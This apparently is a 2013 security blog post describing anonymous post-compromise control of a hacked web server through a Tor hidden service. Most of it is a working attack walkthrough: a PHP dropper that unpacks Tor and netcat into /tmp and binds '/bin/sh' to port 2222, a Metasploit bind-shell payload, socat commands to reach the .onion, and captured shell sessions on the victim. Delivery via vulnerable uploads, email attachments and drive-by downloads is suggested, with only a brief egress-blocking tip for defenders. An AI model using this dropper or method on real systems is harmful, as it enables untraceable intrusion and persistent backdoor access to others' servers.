Hi all, David here. This post has been quite a long time coming. The idea has been brewing in the back of my mind for a good six months and I’ve just been waiting until I had some spare cycles to write it up and post it. Yay for Christmas and the holiday season!
I expect that this is going to be a relatively lengthy post. If you can’t spare the time, see the TLDR at the bottom.
So, I can imagine certain scenarios where it would be highly desirable to remain anonymous when compromising and exerting post-compromise control over target systems on the Internet. Setting aside any black-hat motivations I expect that law enforcement agencies and offensive cyber operations teams require effective anonymity at various times. This led me to thinking about methods for post-compromise control of targets that are both:
a) Useful, and
b) Anonymous.
For the sake of simplicity, lets say that the target system is a web server on the Internet. Pre-compromise activities (information gathering, application mapping, etc) and actual exploitation would be relatively easy to achieve with anonymity using the Tor anonymisation network. However, once the system is compromised, your options for post-compromise command & control introduce some challenges to maintaining anonymity.
Broadly, the options that I can see for post-compromise control are:
- In-band control (within the HTTP or HTTPS service) – The most obvious example here would be to load a PHP shell onto the compromised system, and perform C&C through this.
- Out-of-band forward connection – You install a trojan service onto the compromised system, listening on a different unused network port (eg. Metasploit bind_tcp payloads). This still lets you use Tor for C&C, but virtually every real world system will have some form of firewall in place which will prevent you from connecting to arbitrary listening ports.
- Out-of-band reverse connection – You install a trojan service onto the compromised system; the Trojan establishes an outbound connection to your C&C server (eg. Metasploit reverse_tcp and reverse_http payloads). This is more likely to succeed against perimeter firewalls, but is a significant challenge to anonymity – you need to have a known IP address for the trojan to connect back to.
Option 1 isn’t a bad choice, but let’s be honest – web shells mostly suck. They might be OK for rudimentary post-compromise activities, but I don’t think that they meet the primary requirement of being truly useful. They don’t give you an interactive shell with job control and all of the nice stuff, let alone more advanced desirable features like port forwarding and application or network pivoting.
Option 2 is generally not practical due to pervasive firewalling, and Option 3 breaks the second primary requirement of maintaining anonymity.
The answer that I arrived at is to leverage Tor hidden services on the compromised host.
The assumed pre-requisites for this method of anonymous, useful, post-compromise control are as follows:
- You have already compromised the system, and you are able to upload and execute arbitrary code (doesn’t necessarily need to be privileged execution);
- The compromised system is able to establish an outbound connection to the Tor network. This isn’t too much of a stretch; I’ve seen a lot of DMZ infrastructure and hosted websites that have more or less unrestricted egress access for grabbing automatic updates or to facilitate administration.
The steps go like this:
- Upload your required trojan or network service and bind it to an unused port on the localhost interface (bind_tcp).
- Upload a Tor client with a hidden services configuration and run it . The client establishes a connection to the Tor network, and sets up the hidden service, redirecting to the trojan listener that you set up in step 1.
- From your workstation, establish a connection to the Tor network and connect to the published hidden service. Egress becomes ingress and you are able to establish an out-of-band forward connection, with anonymity, straight through the target’s firewall.
The choice of network service that you install on the compromised host is limited only by your imagination. Some options might include:
- A netcat listener bound to a shell;
- A customised SSH daemon;
- A meterpreter payload ;
- A SOCKS daemon, providing an application proxy pivot onto the target network;
- An OpenVPN daemon, proving network layer pivot capability onto the target network.
One small obstacle that makes this process a little more difficult is the fact that a LOT of client applications don’t natively support connecting via SOCKS, or they implement SOCKS poorly in relation to name resolution. In order to access a hidden service on Tor, the client needs to be able to use the SOCKS proxy server provided by the Tor client, and the client needs to defer name resolution to the SOCKS server. To imbue non-SOCKS-enabled clients with SOCKS capability, you need to look to an additional tool like torify or socat.
The examples below show the process from end-to-end both for a Netcat shell listener, and also for a metasploit bind_tcp shell. Both examples utilise socat to enable the client to connect to the published hidden service.
Example 1 – Netcat shell listener
Step 1 – Tor hidden service pre-configuration
Tor hidden services, identified by “.onion” pseudo-TLD addresses, are linked to a private key. If you move the private key from one Tor client to another, the hidden service definition follows. In order to know the hidden service address that you’ll be using for post-compromise control, it is necessary to generate the private key and matching hostname ahead of time. So, we create a very simple torrc file and create a new private key and hostname…
david@GTFO:~$ david@GTFO:~$ cd torcontrol/ david@GTFO:~/torcontrol$ ls -l total 1232 -rwxr-xr-x 1 david david 1254312 Dec 24 13:13 tor -rw-rw-r-- 1 david david 141 Dec 24 13:14 torrc david@GTFO:~/torcontrol$ cat torrc SocksPort 9050 SocksListenAddress 127.0.0.1 #HiddenServiceDir /var/tmp/tor/ HiddenServiceDir ./hidden/ HiddenServicePort 2222 127.0.0.1:2222 david@GTFO:~/torcontrol$ ./tor -f ./torrc Dec 24 13:16:45.497 [notice] Tor v0.2.2.37. This is experimental software. Do not rely on it for strong anonymity. (Running on Linux x86_64) Dec 24 13:16:45.497 [notice] Initialized libevent version 2.0.16-stable using method epoll. Good. Dec 24 13:16:45.498 [notice] Opening Socks listener on 127.0.0.1:9050 Dec 24 13:16:45.552 [notice] OpenSSL OpenSSL 1.0.1 14 Mar 2012 looks like version 0.9.8m or later; I will try SSL_OP to enable renegotiation Dec 24 13:16:45.608 [warn] Please upgrade! This version of Tor (0.2.2.37) is obsolete, according to the directory authorities. Recommended versions are: 0.2.2.39,0.2.3.24-rc,0.2.3.25,0.2.4.5-alpha,0.2.4.6-alpha Dec 24 13:16:45.794 [notice] We now have enough directory information to build circuits. Dec 24 13:16:45.794 [notice] Bootstrapped 80%: Connecting to the Tor network. Dec 24 13:16:47.087 [notice] Bootstrapped 85%: Finishing handshake with first hop. Dec 24 13:16:49.129 [notice] Bootstrapped 90%: Establishing a Tor circuit. Dec 24 13:16:51.813 [notice] Tor has successfully opened a circuit. Looks like client functionality is working. Dec 24 13:16:51.813 [notice] Bootstrapped 100%: Done. ^CDec 24 13:16:59.010 [notice] Interrupt: exiting cleanly. david@GTFO:~/torcontrol$ ls -l total 1236 drwx------ 2 david david 4096 Dec 24 13:16 hidden -rwxr-xr-x 1 david david 1254312 Dec 24 13:13 tor -rw-rw-r-- 1 david david 141 Dec 24 13:14 torrc david@GTFO:~/torcontrol$ cd hidden david@GTFO:~/torcontrol/hidden$ ls -l total 8 -rw------- 1 david david 23 Dec 24 13:16 hostname -rw------- 1 david david 887 Dec 24 13:16 private_key david@GTFO:~/torcontrol/hidden$ cat hostname zcbvswdhpmb7mkgq.onion david@GTFO:~/torcontrol/hidden$
Step 2 – Construct a payload to upload to the compromised system
This stage will vary from server to server, and depending on what service you want to run on the compromised system. My target system is a Linux server, running Apache with PHP. The payload bundle contains everything that will be required to establish the Tor hidden service, as well as my required trojan.
Caveat: I am not a coder. This is a hideous hack in order to achieve my requirement. I am certain that there are 100’s of more elegant ways of achieving the same net result.
Payload “dropper.php” follows:
<?php $str = 'H4sICB3s11AAA3RvcgCMWwmYHFW1vplMkh6yJ5CwBEg0wOCDkAxJTBA124Ssk3GSQBCw0tNdPVNM --snip-- pi6xDt9HxLYaXBDOH6QbsXS8/QtvoE3uQMUSAA=='; $handle = fopen("/tmp/tor.gz", "w+"); fwrite($handle,base64_decode($str)); fclose($handle); shell_exec('gunzip /tmp/tor.gz'); shell_exec('chmod 755 /tmp/tor'); $str = 'SocksPort 9050 SocksListenAddress 127.0.0.1 DataDirectory /tmp/.tor HiddenServiceDir /tmp/hidden/ HiddenServicePort 2222 127.0.0.1:2222 '; $handle = fopen("/tmp/torrc", "w+"); fwrite($handle,$str); fclose($handle); shell_exec('mkdir /tmp/hidden'); shell_exec('chmod 700 /tmp/hidden'); $str = 'zcbvswdhpmb7mkgq.onion'; $handle = fopen("/tmp/hidden/hostname", "w+"); fwrite($handle,$str); fclose($handle); shell_exec('chmod 600 /tmp/hidden/hostname'); $str = '-----BEGIN RSA PRIVATE KEY----- MIICWwIBAAKBgQDB9xZuO4chidB4S4sdZZH7XRIj/7slR6NCxs9kIWnzA9pFF1aR --snip-- MmaQ/2PM26I1EwSxqLi33RdrwBgPdTMODx3VGAxinA== -----END RSA PRIVATE KEY-----'; $handle = fopen("/tmp/hidden/private_key", "w+"); fwrite($handle,$str); fclose($handle); shell_exec('chmod 600 /tmp/hidden/private_key'); system('/tmp/tor -f /tmp/torrc >/tmp/log 2>&1 &'); sleep(5); $str = 'H4sICC/s11AAA25jAO18fXhU1bX3mckEJhicqFBRUY82FFASCaJCCBo+RvHKl0oqLUScZGaYKZOZ --snip-- PPT/QlZ/+NZW7yD9Ib2UhQdfcJzwegbB25SF19lps3cu7P+9TrPvN+T4TN9BmsetijLbksFTZb5N 6f+dSOCNyIItWXmWeigTCe/tQfD+H9c9M+o8VgAA'; $handle = fopen("/tmp/nc.gz", "w+"); fwrite($handle,base64_decode($str)); fclose($handle); shell_exec('gunzip /tmp/nc.gz'); shell_exec('chmod 755 /tmp/nc'); system('/tmp/nc -l -p 2222 -e /bin/sh >/dev/null 2>&1 &'); print("Done!"); ?>
Step 3 – Upload the payload bundle to the web server
Using your Tor-enabled web browser, first check that Tor is active…
Then navigate to the target system…
And using the vulnerable file upload facility, upload your payload…
Step 4 – Execute your payload on the web server
There’s not too much to see here from the attacker’s perspective, so I’ve illustrated this with some behind-the-scenes information from the web server. Here’s the situation before the upload:
root@ip-10-128-69-141:/var/
total 12
-rw-r--r-- 1 www-data www-data 66 2013-01-10 06:58 index.html
-rw-r--r-- 1 www-data www-data 358 2012-12-24 06:23 uploader.php
-rw-r--r-- 1 www-data www-data 332 2012-12-24 06:15 upload.html
root@ip-10-128-69-141:/var/
And the same listing after we’ve uploaded the payload:
root@ip-10-128-69-141:/var/
total 724
-rw-r--r-- 1 www-data www-data 722088 2013-01-10 07:03 dropper.php
-rw-r--r-- 1 www-data www-data 66 2013-01-10 06:58 index.html
-rw-r--r-- 1 www-data www-data 358 2012-12-24 06:23 uploader.php
-rw-r--r-- 1 www-data www-data 332 2012-12-24 06:15 upload.html
root@ip-10-128-69-141:/var/
Before we run the payload, this is what the system looks like:
root@ip-10-128-69-141:/var/
www-data 1440 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1441 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1443 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1445 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1446 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1522 602 0 06:34 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1523 602 0 06:34 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1568 602 0 06:37 ? 00:00:00 /usr/sbin/apache2 -k start
root@ip-10-128-69-141:/var/
total 8
drwxrwxrwt 2 root root 4096 2013-01-10 07:07 .
drwxr-xr-x 21 root root 4096 2013-01-10 06:39 ..
root@ip-10-128-69-141:/var/
No unusual processes, and nothing fun in /tmp.
Then we run the payload container from the browser…
…which unpacks our files and executes them, resulting in the following:
root@ip-10-128-69-141:/var/
total 1260
drwxrwxrwt 4 root root 4096 2013-01-10 07:09 .
drwxr-xr-x 21 root root 4096 2013-01-10 06:39 ..
drwx------ 2 www-data www-data 4096 2013-01-10 07:08 hidden
-rw-r--r-- 1 www-data www-data 4434 2013-01-10 07:09 log
-rwxr-xr-x 1 www-data www-data 22076 2013-01-10 07:08 nc
-rwxr-xr-x 1 www-data www-data 1230144 2013-01-10 07:08 tor
drwx------ 2 www-data www-data 4096 2013-01-10 07:09 .tor
-rw-r--r-- 1 www-data www-data 136 2013-01-10 07:08 torrc
root@ip-10-128-69-141:/var/
www-data 1440 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1441 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1443 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1445 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1446 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1522 602 0 06:34 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1523 602 0 06:34 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1568 602 0 06:37 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1915 1 6 07:08 ? 00:00:04 /tmp/tor -f /tmp/torrc
www-data 1921 1 0 07:08 ? 00:00:00 /tmp/nc -l -p 2222 -e /bin/sh
root@ip-10-128-69-141:/var/
Step 5 – Connect to the hidden service
Finally, we are ready to connect to the hidden service to gain access to the trojan. Allow a couple of minutes from when the payload is first run, as it can sometimes take a while for Tor to bootstrap itself, and for the hidden service to register in the Tor directory.
In shell #1, start up socat…
$ socat TCP4-LISTEN:2222 SOCKS4a:127.0.0.1:zcbvswdhpmb7mkgq.onion:2222,socksport=9050
Then, in shell #2, connect to the socat listener…
$ nc 127.0.0.1 2222
ls -la
total 760
drwxr-xr-x 4 root www-data 4096 Jan 10 06:40 .
drwxr-xr-x 15 root root 4096 Jun 29 2011 ..
-rw-r--r-- 1 www-data www-data 722072 Jan 10 06:40 dropper.php
-rw-r--r-- 1 www-data www-data 30 May 28 2012 index.html
-rw-r--r-- 1 www-data www-data 332 Dec 24 06:15 upload.html
-rw-r--r-- 1 www-data www-data 358 Dec 24 06:23 uploader.php
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname
ip-10-128-69-141
/sbin/ifconfig -a
eth0 Link encap:Ethernet HWaddr 12:31:40:00:46:63
inet addr:10.128.69.141 Bcast:10.128.69.255 Mask:255.255.255.0
inet6 addr: fe80::1031:40ff:fe00:4663/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:42289 errors:0 dropped:0 overruns:0 frame:0
TX packets:29494 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:29078650 (29.0 MB) TX bytes:8783815 (8.7 MB)
Interrupt:246
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:242 errors:0 dropped:0 overruns:0 frame:0
TX packets:242 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:23980 (23.9 KB) TX bytes:23980 (23.9 KB)
echo Giddyup\!
Giddyup!
^C
$
Example 2 – Metasploit bind shell
Step 1 – Tor hidden service pre-configuration
As above
Step 2 – Construct a payload to upload to the compromised system
Mostly as above. Instead of the netcat binary, we need to build a staged metasploit bind shell payload, as follows…
root@GTFO:~/torcontrol# msfpayload linux/x86/shell/bind_tcp LPORT=2222 X > msfshell.bin
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/bind_tcp
Length: 79
Options: {"LPORT"=>"2222"}
root@GTFO:~/torcontrol# ls -l msfshell.bin
-rw-r--r-- 1 root root 163 Jan 10 15:29 msfshell.bin
root@GTFO:~/torcontrol#
This then gets built into payload.php.
Step 3 – Upload the payload bundle to the web server
As above
Step 4 – Execute your payload on the web server
As above. The filesystem objects and process listing will obviously be slightly different…
$ ps -ef | grep www-data
www-data 1440 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1441 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1443 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1445 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1446 602 0 06:25 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1522 602 0 06:34 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1523 602 0 06:34 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1568 602 0 06:37 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1915 1 0 07:08 ? 00:00:08 /tmp/tor -f /tmp/torrc
www-data 2031 2029 0 07:36 pts/0 00:00:00 /tmp/msfshell.bin
$ netstat -nap |grep 2222
tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN 2031/msfshell.bin
$
Step 5 – Connect to the hidden service
In shell #1, again we start up socat…
$ socat TCP4-LISTEN:2222 SOCKS4a:127.0.0.1:zcbvswdhpmb7mkgq.onion:2222,socksport=9050
Then, in shell #2, we fire up msfconsole and point it at socat…
root@GTFO:~/Work/Metasploit_dev# msfconsole Call trans opt: received. 2-19-98 13:24:18 REC:Loc Trace program: running wake up, Neo... the matrix has you follow the white rabbit. knock, knock, Neo. (`. ,-, ` `. ,;' / `. ,'/ .' `. X /.' .-;--''--.._` ` ( .' / ` , ` ' Q ' , , `._ \ ,.| ' `-.;_' : . ` ; ` ` --,.._; ' ` , ) .' `._ , ' /_ ; ,''-,;' ``- ``-..__``--` =[ metasploit v4.6.0-dev [core:4.6 api:1.0] + -- --=[ 1017 exploits - 566 auxiliary - 167 post + -- --=[ 262 payloads - 28 encoders - 8 nops msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD linux/x86/shell/bind_tcp PAYLOAD => linux/x86/shell/bind_tcp msf exploit(handler) > set LPORT 2222 LPORT => 2222 msf exploit(handler) > set RHOST 192.168.1.112 RHOST => 192.168.1.112 msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (linux/x86/shell/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LPORT 2222 yes The listen port RHOST 192.168.1.112 no The target address Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > exploit [*] Started bind handler [*] Sending stage (36 bytes) to 192.168.1.112 [*] Starting the payload handler... [*] Command shell session 1 opened (192.168.1.112:56788 -> 192.168.1.112:2222) at 2013-01-10 15:56:26 +0800 ls -la total 1264 drwxrwxrwt 4 root root 4096 Jan 10 07:39 . drwxr-xr-x 21 root root 4096 Jan 10 06:39 .. drwx------ 2 www-data www-data 4096 Jan 10 07:50 .tor drwx------ 2 www-data www-data 4096 Jan 10 07:08 hidden -rw-r--r-- 1 www-data www-data 4434 Jan 10 07:09 log -rwxr-xr-x 1 www-data www-data 163 Jan 10 07:32 msfshell.bin -rwxr-xr-x 1 www-data www-data 22076 Jan 10 07:08 nc -rwxr-xr-x 1 www-data www-data 1230144 Jan 10 07:08 tor -rw-r--r-- 1 www-data www-data 136 Jan 10 07:08 torrc id uid=33(www-data) gid=33(www-data) groups=33(www-data) hostname ip-10-128-69-141 exit [*] 192.168.1.112 - Command shell session 1 closed. Reason: Died from EOFError msf exploit(handler) >
Last Notes:
- There are obviously a number of variations possible for this approach; for example, the payload could be delivered as an email attachment, or loaded onto another compromised web server as a drive-by download or spearphishing destination. In any case, if the compromised system is able to establish an outbound connection to Tor then the system can become a hidden server, and can be controlled via this hidden service. If you are an administrator and you want to avoid this happening to your systems, you need to ensure that they are not able to establish a connection to the Tor network.
- It is a real shame that more security tools don’t have native support for SOCKS4a; having to use socat is a real pain. It would be awesome to see real SOCKS support in, say, Metasploit, Nessus, Nmap, …
- While I am on “wishlist” items, it would also be really good to see Linux meterpreter get a whole lot better. When I started tinkering with this method, I burnt a lot of time trying to get it working with meterpreter on a Linux x86 target – my success rate was something like 1 in 20, or 1 in 30. The payload and stager seem to be either unstable or intolerant of the network delays that Tor can bring.
TLDR:
If a compromised system can establish a connection to the Tor network, it can be used to host a hidden service of the attackers choosing. This hidden service can be accessed anonymously via Tor.
– @dave_au
2 thoughts on “Anonymous post-compromise control via Tor hidden services”